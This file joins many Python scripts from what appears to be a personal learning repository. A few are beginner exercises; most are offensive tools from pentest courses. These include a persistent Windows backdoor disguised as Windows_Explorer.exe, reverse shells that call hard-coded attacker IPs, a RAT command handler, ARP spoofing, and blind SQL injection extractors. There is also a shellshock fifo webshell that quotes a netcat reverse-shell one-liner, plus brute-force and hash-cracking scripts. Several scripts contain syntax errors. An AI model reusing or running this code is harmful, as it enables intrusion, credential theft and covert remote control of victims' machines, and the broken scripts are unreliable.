b = "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x" % (ord(packet[0]), ord(packet[1]), ord(packet[2]), ord(packet[3]), ord(packet[4]), ord(packet[5]))
return b
try:
# AF_PACKET allows us to maniuplate the packet at packet level
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0003))
except:
print("[!] Error on creating socket object")
exit(0)
while True:
packet = s.recvfrom(65535)
packet = packet[0]
eth_length = 14
eth_header = packet[:eth_length]
eth = unpack('!6s6sH',eth_header)
eth_protocol = socket.ntohs(eth[2])
print('[+] Destination MAC: ' + eth_addr(packet[0:6]) + ' [+] Source MAC: ' + eth_addr(packet[6:12]) + ' [+] Protocol: ' + str(eth_protocol))<file_sep>#!/usr/bin/env python
# hashlib is a useful library in python to deal with hashes
import hashlib, sys
md5Hash = hashlib.md5("Steve").hexdigest()
#print md5Hash
shaHash = hashlib.sha512("Steve").hexdigest()
#print shaHash
def md5(someString):
return hashlib.md5(someString).hexdigest()
if len(sys.argv) != 2:
print "[!] Python rainbow_table.py wordlist.txt"
sys.exit()
filename = sys.argv[1]
f = open(filename,"r")
output = open("RainbowTable.txt","w")
file_data = f.readlines()
for line in file_data:
hashed_word = hashlib.sha512(line.strip("\n")).hexdigest()
data = "{0} : {1}".format(line.strip("\n"),hashed_word)
output.write(data + "\n")
f.close()
#grep the rainbowTable.txt | grep SomeWord to get its hash<file_sep>#!/usr/bin/env python
import scapy.all as scapy
import time
import sys
target_ip = "10.0.2.6"
gateway_ip = "10.0.2.1"
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
# print(packet.show())
# print(packet.summary())
scapy.send(packet, verbose=False)
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
def restore(destination_ip, source_ip):
destination_mac = get_mac(destination_ip)
source_mac = get_mac(source_ip)
packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
# print(packet.show())
# print(packet.summary())
scapy.send(packet, count=4, verbose=False)
# get_mac("10.0.2.1")
# need to keep sending these packets to remain man in the middle
try:
sent_packets_count = 0
while True:
spoof(target_ip, gateway_ip)
spoof(gateway_ip, target_ip)
sent_packets_count = sent_packets_count + 2
# print("[+] Sent " + str(sent_packets_count) + " arp spoofing packets")
# \r always print statement at the start of the line - which overwrites old statement - only works with python2
# python 3 code - print("\r[+] Packets Sent " + str(sent_packets_count), end="")
print("\r[+] Packets Sent " + str(sent_packets_count)),
sys.stdout.flush()
time.sleep(2)
except KeyboardInterrupt:
print("[+] Detected CTRL + C..... Resetting ARP tables.....")
restore(target_ip, gateway_ip)
restore(gateway_ip, target_ip)
# need to enable port forwarding on man in the middle machine
# ech 1 > /proc/sys/net/ipv4/ip_forward<file_sep>#!/usr/bin/python
#Code from https://www.udemy.com/course/offensive-python-mastering-ethical-hacking-using-python/learn/lecture/8099684
import sys
if len(sys.argv) <= 2:
print "[+] python buffer_overflow_file_fuzzer.py buffer_size filename"
sys.exit()
buffer_size = int(sys.argv[1])
filename = sys.argv[2]
buffer_data = "A" * buffer_size
fi = open(filename,"w")
fi.write(buffer_data)
fi.close()
print "[+] Success ! , file {0} generated with {1} bytes".format(filename,buffer_size) <file_sep># Python 3 - 2021 Projects
This folder is for Python 3 related projects done in 2021. It's meant to be a refresher and hopefully filled with lots of fun python 3 stuff.
<file_sep>#!/usr/bin/env python
#This script will connect to TFTP file sharing UDP port and try to download files named like example_router-1 and iterate up to 100
#We then check the sizes of the files after to see if any of them contained data. Use command: ls -lah
try:
import tftpy
except:
sys.exit(“[!] Install the package tftpy with: pip install tftpy”)
def main():
ip = "192.168.195.165"
port = 69
tclient = tftpy.TftpClient(ip,port)
for inc in range(0,100):
filename = "example_router" + "-" + str(inc)
print("[*] Attempting to download %s from %s:%s") % (filename,ip,port)
try:
tclient.download(filename,filename)
except:
print("[-] Failed to download %s from %s:%s") % (filename,ip,port)
if __name__ == '__main__':
main()<file_sep>#!/usr/bin/python2.7
# Notice that we have to use os library instead of subprocess because subprocess wont work with windows
import socket, os
host = "10.0.2.15"
port = 8888
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
while True:
command = sock.recv(1024)
for line in os.popen(command):
sock.send(line)
<file_sep>#!/usr/bin/env python
import os,socket,ssl
host = "localhost"
port = 8888
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#wrap the socket in ssl
#read more about the wrap_socket function and its ssl versions available.
wsocket = ssl.wrap_socket(sock,ssl_version=ssl.PROTOCOL_TLSv1)
wsocket.connect((host,port))
while True:
command = wsocket.recv(1000)
result = os.popen(command).read()
wsocket.send(result)
#can use netcat to create ssl connection listener
#ncat --ssl -vlp 8888<file_sep>#!/usr/bin/python
# python 3
# this program uses the default linux command line arguments to change the MAC address
import subprocess
def changeMacAddress(interface, address):
subprocess.call(["ifconfig " + interface + " down"])
subprocess.call(["ifconfig " + interface + " hw ether " + address])
subprocess.call(["ifconfig " + interface + " up"])
def main():
interface = input("[*] Enter the interface to change the MAC address on: ")
new_mac_address = input("[+] Enter the new MAC address to change to: ")
before_change = subprocess.check_output(["ifconfig " + interface])
changeMacAddress(interface, new_mac_address)
after_change = subprocess.check_output(["ifconfig " + interface])
if before_change == after_change:
print("[!] Failed to change MAC address to: " + new_mac_address)
else:
print("[*] MAC address changed to: " + new_mac_address + " on interface " + interface)
main()<file_sep>import json
CHUCK_SIZE = 4 * 1024
DELIMETER = "<END_OF_RESULTS>"
def receiveFileFolders(my_socket):
print("[+] Receiving Files/Folders")
full_list = b''
while True:
chunk = my_socket.client_conn.recv(CHUNK_SIZE)
if chunk.endswith(DELIMETER.encode()):
chunk = chunk[:-len(DELIMETER)]
full_list += chunk
break
full_list += chunk
file_dict = json.loads(full_list)
for index in file_dict:
print("\t\t", index, "\t", file_dict[index])
file_index = input("[+] Select the file/folder")
file2download = file_dict[file_index]
my_socket.sendData(file2download)
zipped_file = file2download + ".zip"
my_socket.receiveZipped(zipped_file)<file_sep>#!/bin/python3
import requests
chars = [0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']
#Infer truth by checking response has "Welcome back" message
def GetSQL(num,char):
return "x'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'+AND+substring(password,%s,1)='%s'--" % (num,char)
#Infer truth by causing errors
def GetSQL2(num,char):
return "'+UNION+SELECT+CASE+WHEN+(username='administrator'+AND+substr(password,%s,1)='%s')+THEN+to_char(1/0)+ELSE+NULL+END+FROM+users--" % (num,char)
#Infer truth by causing a time delay
def GetSQL3(num,char):
return "%s,1)='%s')+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+FROM+users--" % (num,char)
for i in range (1,21):
for c in chars:
#print("Checking Char")
#proxies = {'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'}
inject = GetSQL3(i,c)
tracking = "x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+substring(password," + inject
#print(tracking)
cookies = dict(TrackingId=tracking, session="OrqVD0KGbf0CeHk43UoKiKPuJL9jGpRN")
#cookie = 'TrackingId=' + inject + "; session=Sf9gnFdpAhSNgOYPWWfnN78eXNjGwGDJ"
headers = {
'Host': "ac771f631eb2f14780167d5b00f400d4.web-security-academy.net",
'Referer': 'https://ac771f631eb2f14780167d5b00f400d4.web-security-academy.net/',
'User-Agent' : "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
'Accept-Language': "en-US,en;q=0.5",
'Accept' : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
'Accept-Encoding': "gzip, deflate",
'Upgrade-Insecure-Requests' : "1",
'Cache-Control' : "max-age=0",
'Connection': "close",
}
r = requests.get('https://ac771f631eb2f14780167d5b00f400d4.web-security-academy.net', headers=headers, cookies=cookies)
#print(r.status_code)
#print(r.request.headers)
#if "Welcome back" in r.text:
#if r.status_code == 500:
if r.elapsed.total_seconds() > 5:
print(c, end='', flush=True)
break
print()<file_sep>import requests
"""
The first check is to find if the character in X position is an alphabet or not. If so, it is checked if it belongs to [a-f] group or the rest. If it’s a hash, it’ll always belong to a-f group which is “alpha1” in the below code.
If it’s not an alphabet, it’s checked if the number belongs to [0-4] group or [5-9].
Once the group is sent back, SQLstring is used to generate payloads for characters in only those groups for X position. This reduces the amount of requests sent to the server, and we extract the hash much faster.
These checks are done using “ord”. Ordinal numbers are just decimal numbers. We convert the output of the substring to ord and perform a check if it’s greater than 58, ascii(9) = decimal(57), thus checking if the character in that position is an alphabet.
"""
def SQLstring(i,c):
# We only want 1 password character at a time
# Final payload will look like
# username=admin'+AND+substring(password,1,1)='a'--+-&password=<PASSWORD>
return "admin' AND substring(password,%s,1)='%s'-- -" % (i,c)
def SQLsplit(i):
# Checking if the character is an alphabet
sql = "admin' AND ord(substring(password,%s,1)) > '58'-- -" % i
payload = {'username':sql, 'password':'<PASSWORD>'}
r = requests.post('http://10.10.10.73/login.php', data=payload)
if "Wrong identification" in r.text:
# Checking if it's beyond "f"
sql = "admin' AND ord(substring(password,%s,1)) > '102'-- -" % i
payload = {'username':sql, 'password':'<PASSWORD>'}
r = requests.post('http://10.10.10.73/login.php', data=payload)
if "Wrong identification" in r.text:
return "alpha2"
else:
# If not beyond "f"
return "alpha1"
# Character is a number
else:
# Checking if number is less than "5"
sql = "admin' AND ord(substring(password,%s,1)) < '53'-- -" % i
payload = {'username':sql, 'password':'<PASSWORD>'}
r = requests.post('http://10.10.10.73/login.php', data=payload)
if "Wrong identification" in r.text:
return "num1"
else:
# If number is greater than 5
return "num2"
# password could be in hashed format or plaintext
alpha1 = 'abcdef'
alpha2 = 'ghijklmnopqrstuvwxyz'
num1 = '01234'
num2 = '56789'
# Password variable
passwd = ''
for i in range(1,33):
if SQLsplit(i) == "alpha1":
for a in alpha1:
payload = {'username':SQLstring(i,a), 'password':'<PASSWORD>'}
r = requests.post('http://10.10.10.73/login.php', data=payload)
if "Wrong identification" in r.text:
passwd += a
print(a,end='',flush=True)
break
elif SQLsplit(i) == "alpha2":
for a in alpha2:
payload = {'username':SQLstring(i,a), 'password':'<PASSWORD>'}
r = requests.post('http://10.10.10.73/login.php', data=payload)
if "Wrong identification" in r.text:
passwd += a
print(a,end='',flush=True)
break
elif SQLsplit(i) == "num1":
for n in num1:
payload = {'username':SQLstring(i,n), 'password':'<PASSWORD>'}
r = requests.post('http://10.10.10.73/login.php', data=payload)
if "Wrong identification" in r.text:
passwd += n
print(n,end='',flush=True)
break
else:
for n in num2:
payload = {'username':SQLstring(i,n), 'password':'<PASSWORD>'}
r = requests.post('http://10.10.10.73/login.php',data=payload)
if "Wrong identification" in r.text:
passwd += n
print(n,end='',flush=True)
break
# print('\n')
print('\nPassword or Hash is:\t'+passwd+'\n')<file_sep>#!/usr/bin/env python
# trap packets in queue using iptables -I FORWARD -j NFQUEUE --queue-num 0
# below two iptable rules are for local testing - use the above for real life min
# iptables -I OUTPUT -j NFQUEUE --queue-num 0
# iptables -I INPUT -j NFQUEUE --queue-num 0
# this is an underlying system setting and not python dependent, we will use python to read the Q
# ! will need this: pip install netfilterqueue
# needed to do this on Kali - apt-get install build-essential python-dev libnetfilter-queue-dev
# remember to iptables --flush when done
import netfilterqueue
def process_packet(packet):
print(packet)
packet.accept()
# will cut traffic
# packet.drop()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run
<file_sep>#!/usr/bin/env python
#this script uses the requests.post method to submit a request to a web form
import requests
target_url = "http://10.0.2.7/dvwa/login.php"
data_dict = {"username": "admin", "password": "", "Login": "submit" }
with open(dirpath + "/passwords.txt", "r") as wordlist_file:
for line in wordlist_file:
word = line.strip()
data_dict["password"] = word
response = requests.post(target_url, data=data_dict)
#print(response.content)
if "Login failed" not in response.content:
print("[+] Got the password --> " + word)
exit()
print("[+] Reached end of line and could not find password.")
#remember that this will only work for sites with no captcha and no firewall
#can implement a proxy or vpn to change the IP address you are coming from to fool firewall.<file_sep>from core.command import executeCommand
from core.download import downloadFile
from core.screenshot import captureScreenshot
from core.persistance import becomePersitant
import time
def handleConnection(my_socket):
print("[+] Handling connection")
while True:
user_input = my_socket.receiveData()
print("[+] User input: ", user_input)
if user_input == "1":
print("[+] Running system commands")
# develop function to run commands
executeCommand(my_socket)
elif user_input == "2":
print("[+] Downloading file")
downloadFile(my_socket)
elif user_input == "3":
downloadFile(my_socket)
elif user_input == "4":
my_socket.changeDirectory()
elif user_input == "5":
captureScreenshot(my_socket)
elif user_input == "6":
becomePersitant(my_socket)
elif user_input == "99":
break
else:
time.sleep(30)
print("[!] Invalid user input ")
<file_sep>import socket
#create a socket object
s = socket.socket()
print('Socket successfully created.')
#reserve a port number on the host machine
port = 12345
#bind to the port
s.bind(('',port))
print('Socket binded to %s' %(port))
#put the socket into listening mode
s.listen(4)
print('Socket is now listening')
#a forever loop until exit or an error occurs
# establish a connection with client
while True:
c, addr = s.accept()
print('Got connect from', addr)<file_sep>print('Python Practice Exercises Level 2 Problems')
print('#'* 10)
print()
print('Given a list of ints, return True if the array contains a 3 next to a 3 somewhere.')
def has_33(nums):
for i in range(0,len(nums)-1):
if nums[i:i+2] == [3,3]: # Same thing nums[i] == 3 and nums[i+1] == 3
return True
return False
print(has_33([1, 3, 3, 3])) # True
print(has_33([1, 3, 1, 3])) # False
print(has_33([3, 1, 3])) # False
print()
print('PAPER DOLL: Given a string, return a string where for every character in the original there are three characters')
def paper_doll(text):
result = ''
for char in text:
result += char*3
return result
print(paper_doll('Hello'))
print()
print("BLACKJACK: Given three integers between 1 and 11, if their sum is less than or equal to 21, return their sum. If their sum exceeds 21 and there's an eleven, reduce the total sum by 10. Finally, if the sum (even after adjustment) exceeds 21, return 'BUST'")
def blackjack(a,b,c):
if sum([a,b,c]) <= 21:
return sum([a,b,c])
elif 11 in [a,b,c] and sum([a,b,c]) <= 31:
return sum([a,b,c])-10
else:
return 'BUST'
print(blackjack(5,6,7))
print(blackjack(9,9,9))
print(blackjack(9,9,11))
print()
print("SUMMER OF '69: Return the sum of the numbers in the array, except ignore sections of numbers starting with a 6 and extending to the next 9 (every 6 will be followed by at least one 9). Return 0 for no numbers.")
def summer_69(arr):
total = 0
add = True
for num in arr:
while add:
if num!=6:
total += num
break
else:
add = False
while not add:
if num!=9:
break
else:
add = True
break
return total
print(summer_69([1, 3, 5]))
print(summer_69([4, 5, 6, 7, 8, 9]))
print(summer_69([2, 1, 6, 9, 11]))<file_sep>
def captureScreenshot(my_socket):
print("[+] Capturing screenshot")
zipped_name = "screenshot.zip"
my_socket.receiveZipped(zipped_name) <file_sep># Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
import os
import socket
import subprocess
def transfer(s, path):
if os.path.exists(path):
f = open(path, 'rb')
packet = f.read(1024)
while packet:
s.send(packet)
packet = f.read(1024)
s.send('DONE'.encode())
f.close()
def scanner(s, ip, ports):
scan_result = '' # scan_result is a variable stores our scanning result
for port in ports.split(','):
try: # we will try to make a connection using socket library for EACH one of these ports
sock = socket.socket()
#connect_ex This function returns 0 if the operation succeeded, and in our case operation succeeded means that the connection happens whihch means the port is open otherwsie the port could be closed or the host is unreachable in the first place.
output = sock.connect_ex((ip, int(port)))
if output == 0:
scan_result = scan_result + "[+] Port " + port + " is opened" + "\n"
else:
scan_result = scan_result + "[-] Port " + port + " is closed"
sock.close()
except Exception as e:
pass
s.send(scan_result.encode())
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.0.152', 8080))
while True:
command = s.recv(1024)
if 'terminate' in command.decode():
s.close()
break
elif 'grab' in command.decode():
grab, path = command.decode().split('*')
try:
transfer(s, path)
except:
s.send(str(e).encode())
pass
elif 'scan' in command.decode(): # syntax: scan 10.10.10.100:22,80
command = command[5:].decode() #slice the leading first 5 char
ip, ports = command.split(':')
scanner(s, ip, ports)
else:
CMD = subprocess.Popen(command.decode(), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
s.send(CMD.stdout.read())
s.send(CMD.stderr.read())
def main():
connect()
main()
<file_sep>import sys
import datetime
print("##############################")
print("Hello World")
print("Welcome to my python program")
print("##############################")
currentDateTime = datetime.datetime.now().strftime("%I:%M%p on %B %d, %Y")
print(currentDateTime)
# Will git update this?
# Yes it did just had to stage, commit and push
print("##############################")
print()
storyFormat = '''
Once upon a time, in an ancient jungle there lived an {animal} who at {food}.
The End
'''
def tellStory():
userPicks = dict()
addPick('animal', userPicks)
addPick('food', userPicks)
story = storyFormat.format(**userPicks)
print(story)
def addPick(cue, dictionary):
prompt = 'Enter an example for ' + cue + ': '
response = input(prompt)
dictionary[cue] = response
tellStory()
input('Press Enter to end the program.')<file_sep>print('#'*10)
print("Lambda Expressions, Map, and Filter")
print('#'*10)
print()
print('Map Function')
print('The map function allows you to "map" a function to an iterable object. That is to say you can quickly call the same function to every item in an iterable, such as a list. For example:')
print('map(func, *iterables)')
def square(num):
return num**2
my_nums = [1,2,3,4,5]
# To get the results, either iterate through map()
# or just cast to a list
for item in map(square, my_nums):
print(item)
print(list(map(square, my_nums)))
def splicer(mystring):
if len(mystring)%2 == 0:
return 'EVEN'
else:
return mystring[0]
names = ['Steve', 'James', 'Sally', 'Even']
print(list(map(splicer, names)))
print()
print('Filter Function')
print('The filter function returns an iterator yielding those items of iterable for which function(item) is true. Meaning you need to filter by a function that returns either True or False. Then passing that into filter (along with your iterable) and you will get back only the results that would return True when passed to the function.')
print()
def check_even(num):
return num%2==0
mynumbers = [1,2,3,4,5,6]
print(list(filter(check_even,mynumbers)))
for n in filter(check_even, mynumbers):
print(n)
print()
def squareAgain(num):
result = num ** 2
return result
#turn the above into a lambda expression
newSquare = lambda num: num ** 2
print(newSquare(6))
print(list(map(lambda num: num**2,mynumbers)))
#lambda expression of check_even.
print(list(filter(lambda num:num%2==0, mynumbers)))
print(list(map(lambda x:x[0], names)))
<file_sep>#!/usr/bin/python
import hashlib
hashvalue = input("Enter a string to hash: ")
hashObj1 = hashlib.md5()
hashObj1.update(hashvalue.encode())
print("MD5: " + hashObj1.hexdigest())
hashObj2 = hashlib.sha1()
hashObj2.update(hashvalue.encode())
print("SHA1: " + hashObj2.hexdigest())
hashObj3 = hashlib.sha256()
hashObj3.update(hashvalue.encode())
print("SHA256: " + hashObj3.hexdigest())
hashObj4 = hashlib.sha512()
hashObj4.update(hashvalue.encode())
print("SHA512: " + hashObj4.hexdigest())
<file_sep>"""
Simple Groceries
"""
import store_service
items_to_purchase = {
'candy': 7,
'notebook': 15,
'paper': 8,
'coffee': 3,
'socks': 7
}
def application_start():
# Check to see if user enters in proper numeric money value instead of some string
user_money_real = False
while not user_money_real:
user_money = input('How much money do you have? ')
if user_money.isdigit():
user_money = int(user_money)
user_money_real = True
items_price_added_to_cart = []
user_shopping = False
while not user_shopping:
add_item_to_cart = input('What item would you like to add to your cart? ')
# Check if key exists
if add_item_to_cart.lower() in items_to_purchase:
items_price_added_to_cart.append(items_to_purchase.get(add_item_to_cart))
print(f'You currently have {len(items_price_added_to_cart)} items in your cart.')
else:
print('Item is not available at this store')
continue
keep_shopping = input('Do you wish to continue shopping? (Y = yes, N = no) ')
if keep_shopping.lower().strip() == 'n':
user_shopping = True
store_service.purchase_items(user_money, items_price_added_to_cart)
application_start()<file_sep>#!/usr/bin/env python
import hashlib, sys
if len(sys.argv) != 2:
print "[!] python calculate_checksum.py filename"
sys.exit()
filename = sys.argv[1]
def md5(someString):
return hashlib.md5(someString).hexdigest()
def sha1(someString):
return hashlib.sha1(someString).hexdigest()
fi = open(filename, "rb")
data = fi.read()
final_hash_md5 = md5(data)
final_hash_sha1 = sha1(data)
print "MD5 --> {0} : {1}".format(filename, final_hash_md5)
print "SHA1 --> {0} : {1}".format(filename, final_hash_sha1)<file_sep>#!/usr/bin/python
#code from https://www.udemy.com/course/offensive-python-mastering-ethical-hacking-using-python/learn/lecture/8095358#overview
# run this code on a linux system by calling python safeShell.py and it will just relay the commands to that shell it was called from without leaving a history
import os
while True:
command = raw_input("SafeShell@Host >> ")
os.system(command)
<file_sep>#!/usr/bin/env python
# need to open a connection on the receiving server can be done with the line below using netcat
# nc -vv -l -p 4444
import socket
import subprocess
import json
import os
import base64
import sys
import shutil
class Backdoor:
def __init__(self, ip, port):
self.become_persistent()
# Specify IP of the receiving SERVER
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
# connection.send("\n[+] Connection as been established.")
def become_persistent(self):
evil_file_location = os.environ["appdata"] + "\\Windows_Explorer.exe"
if os.path.exists(evil_file_location):
#copy the current system executable file which is this to the location specified
shutil.copyfile(sys.executable, evil_file_location)
subprocess.call('reg add HKCU\Microsoft\Windows\CurrentVersion\Run /v testName /t REG_SZ /d "' + evil_file_location + '"', shell=True)
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def reliable_receive(self):
json_data = ""
while True:
try:
json_data = json_data + self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continue
def execute_system_command(self, command):
try:
DEVNULL = open(os.devnull, 'wb')
return subprocess.check_output(command, shell=True, stderr=DEVNULL, stdin=DEVNULL)
except subprocess.CalledProcessError:
return "Error during command execution"
def change_working_directory_to(self, path):
os.chdir(path)
return "[+] Changing working directory to " + path
def write_file(self, path, content):
with open(path, "wb") as some_file:
some_file.write(base64.b64decode(content))
return "[+] Download successful."
def read_file(self, path):
# read as binary
with open(path, "rb") as some_file:
return base64.b64encode(some_file.read())
def run(self):
while True:
# receive 1024 bytes at a time as the buffer size
command = self.reliable_receive()
try:
if command[0] == "exit":
self.connection.close()
sys.exit()
elif command[0] == "cd" and len(command) > 1:
command_result = self.change_working_directory_to(command[1])
elif command[0] == "download":
command_result = self.read_file(command[1])
elif command[0] == "upload":
# path and file content
command_result = self.write_file(command[1], command[2])
else:
command_result = self.execute_system_command(command)
except Exception:
command_result = "[-] Error during command execution."
self.reliable_send(command_result)
try:
my_backdoor = Backdoor("10.0.2.15", 4444)
my_backdoor.run()
except Exception:
sys.exit()
<file_sep>import requests
'''
The next part of the HTTP protocol that we will be concentrating on are the HTTP headers.
Found in both the requests and responses from the web server, these carry extra information
between the client and server. Any area with extra data makes a great place to parse
information about the servers and to look for potential issues.
'''
req = requests.get('http://packtpub.com')
headers = ['Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code']
for header in headers:
try:
result = req.headers[header]
print '%s: %s' % (header, result)
except Exception, error:
print '%s: Not found' % header<file_sep>#!/usr/bin/python
#python 3
import crypt
from termcolor import colored
def crackPass(cryptWord):
salt = cryptWord[0:2]
dictionary = open("dictionary.txt",'r')
for word in dictionary.readlines():
word = word.strip('\n')
cryptPass = crypt.crypt(word,salt)
if cryptWord == cryptPass:
print(colored('[+] Found Password: ' + word),'red')
return True
def main():
passFile = open('pass.txt', 'r')
for line in passFile.readlines():
if ":" in line:
user = line.split(":")[0]
cryptWord = line.split(":")[1]
#print cryptWord
print(colored("[+] Cracking Password for: " + user),'green')
crackPass(cryptWord):
main()<file_sep># Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
import socket # For Building TCP Connection
import subprocess # To start the shell in the system
def connect():
s = socket.socket()
s.connect(('192.168.0.152', 8080)) # Here we define the Attacker IP and the listening port
while True:
command = s.recv(1024) # keep receiving commands from the Kali machine, read the first KB of the tcp socket
if 'terminate' in command.decode(): # if we got termiante order from the attacker, close the socket and break the loop
s.close()
break
else: # otherwise, we pass the received command to a shell process
CMD = subprocess.Popen(command.decode(), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
s.send(CMD.stdout.read()) # send back the result
s.send(CMD.stderr.read()) # send back the error -if any-, such as syntax error
def main():
connect()
main()
<file_sep>import requests
# Source - https://noobsec.net/sqli-0x03/
# This script will try to extract the password hash from a db via a blind based SQLi
# Based on an attack on the Falafel HTB machine.
# This function generates SQL injection payload to fetch the hash, for each index (i) and character (c) passed to the function
def SQLpayload(i,c):
return "admin' AND substring(password,%s,1)='%s'-- -" % (i,c)
# All the characters in a hash - change this if the hash or password contains more characters.
characters = 'abcdef0123456789'
# "hash" comes as highlighted on python and I did not wanna mess with something I didn't know
# so I'm using "password" to store the hash lol
password = '' # Blank hash string
# Loop through every index position : 1 to 32
for i in range(1,33):
# Loop through every character in the "characters" for each index position
for c in characters:
# Defining a payload to be sent to the server
payload = {'username':SQLpayload(i,c), 'password':'<PASSWORD>'}
# Sending a post request with the above payload and it's data and response is saved in "r"
r = requests.post('http://10.10.10.73/login.php',data=payload)
# Checking if "right" error is hit at an index for a character
if "Wrong identification" in r.text:
# If right error is hit, append the character to the password string
password += c
# Print the character on the screen without moving the cursor to a new line
# Helps in knowing the script is actually working and you're not sitting there for a few minutes just to realize it is broken
print(c,end='',flush=True)
# No need to cycle through the rest of the characters if the "right" error is already hit for an index position
break
# Print the hash
print('\nHash is:\t'+password+'\n')<file_sep>#!/usr/bin/python3
# -*- coding: utf-8 -*-
# This is a webshell obtained from Ippsecs videos that is used to bypass firewalls potentially blocking all other reverse shells.
# Uses HTTP for shell and does the file read and write trick for shell like below.
# Based off this reverse shell: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
# https://www.youtube.com/watch?v=uMwcJQcUnmY&list=WL&index=4&t=1270s
# https://youtu.be/k6ri-LFWEj4
# Adjust the payload to where we can get command execution, like in a HTTP request header.
import base64
import random
import request
import threading
import time
class WebShell(object):
# Initilize Class + Setup Shell
def __init__(self, interval=1.3, proxies='http://127.0.0.1:8080'):
# Adjust this IP to target IP and URL to remote code execution
# This example uses shellshock vuln.
self.url = r"http://10.10.10.56/cgi-bin/cat"
self.proxies = {'http' : proxies}
session = random.randrange(10000,99999)
print(f"[*] Session ID: {session}")
self.stdin = f'/dev/shm/input.{session}'
self.stdout = f'/dev/shm/output.{session}'
self.interval = interval
# set up shell
print(f'[*] Setting up fifo shell on target')
MakeNamedPipes = f"mkfifo {self.stdin}; tail -f {self.stdin} | /bin/sh 2>&1 > {self.stdout}"
self.RunRawCMD(MakeNamedPipes, timeout=0.1)
# set up read thread
print("[*] Setting up read thread")
self.interval = interval
thread = threading.Thread(target=self.ReadThread, args=())
thread.daemon = True
thread.start()
# Read $session, output text to screen & wipe session
def ReadThread(self):
GetOutput = f"/bin/cat {self.stdout}"
while True:
result = self.RunRawCMD(GetOutput) #, proxy = None)
if result:
print(result)
ClearOutput = f'echo -n "" > {self.stdout}'
self.RunRawCMD(ClearOutput)
time.sleep(self.interval)
# Execute Command.
def RunRawCMD(self, cmd, timeout=50, proxy="http://127.;0.0.1:8080"):
#print(f"Going to run cmd: {cmd})
# Replace the payload here with what allows us to execute code remotely
payload = """() { :; }; echo "Content-Type: text/html; echo;"""
payload += """export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin;"""
payload += cmd
if proxy:
proxies = self.proxies
else:
proxies = {}
headers = {'User-Agent': payload}
try:
r = request.get(self.url, headers=headers, proxies=proxies, timeout=timeout)
return r.text
except:
pass
# Send b64'd command to RunRawCommand
def WriteCmd(self, cmd):
b64cmd = base64.b64encode('{}\n'.format(cmd.rstrip()).encode('utf-8')).decode('utf-8')
stage_cmd = f'echo {b64cmd} | base64 -d > {self.stdin}'
self.RunRawCMD(stage_cmd)
time.sleep(self.interval * 1.1)
def UpgradeShell(self):
# upgrade shell to fully interactive using python technique
UpgradeShell = """python3 -c 'import pty; pty.spawn("/bin/bash")'"""
self.WriteCmd(UpgradeShell)
prompt = "Command> "
S = WebShell()
while True:
cmd = input(prompt)
if cmd == "upgrade":
prompt = ""
S.UpgradeShell()
else:
S.WriteCmd(cmd)
<file_sep>'''
Errors and Exceptions (Try catch)
'''
# Cant divide by 0
try:
#x = 10 * (1/0)
#print(x)
# Causes type error
y = '2' + 2
except ZeroDivisionError as e:
print(f'{e}: Cannot divide by 0!')
except TypeError as t:
print(f'{t}: Type error')
except Exception as e:
# Will no get caught in this case as the other two specific expections will catch it first.
# Parent exception
print(f'Error was thrown: {e}')
finally:
print('Finally shows no matter what, even if no errors')<file_sep>from glob import glob
import json
DELIMETER = "<END_OF_RESULTS>"
# get files and folders list in the directory
# create a dictionary of the file sin directory
# serialize the dictionary
# add delimeter to the end and sent to server
# receive on server
# deserialize and print items
# ask the user to select item to download
# send the selected items(file or folder) to victim
# receive the selected item on victim machine
# zip the selected file/folder
# send the zipped file to server
# remove the zip file on the victim machine to remove tracks
def uploadFileFolders(my_socket):
print("[+] Uploading to server")
files = glob("*")
dict = {}
for index, file in enumerate(files):
dict[index] = file
dict_bytes = json.dumps(dict)
dict_bytes_delimeter = dict_bytes + DELIMETER
raw_bytes = dict_bytes_delimeter.encode()
my_socket.socket.send(raw_bytes)
filename = my_socket.receiveData()
my_socket.sendFile(filename)<file_sep>#!/usr/bin/env python
# this will only work for normal HTTP and not HTTPS
import netfilterqueue
import scapy.all as scapy
import re
def set_load(packet, load):
# using HTTP 301 to redirect to simple download link.
packet[scapy.Raw].load = load
del packet[scapy.IP].len
del packet[scapy.IP].chksum
del packet[scapy.TCP].chksum
return packet
def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
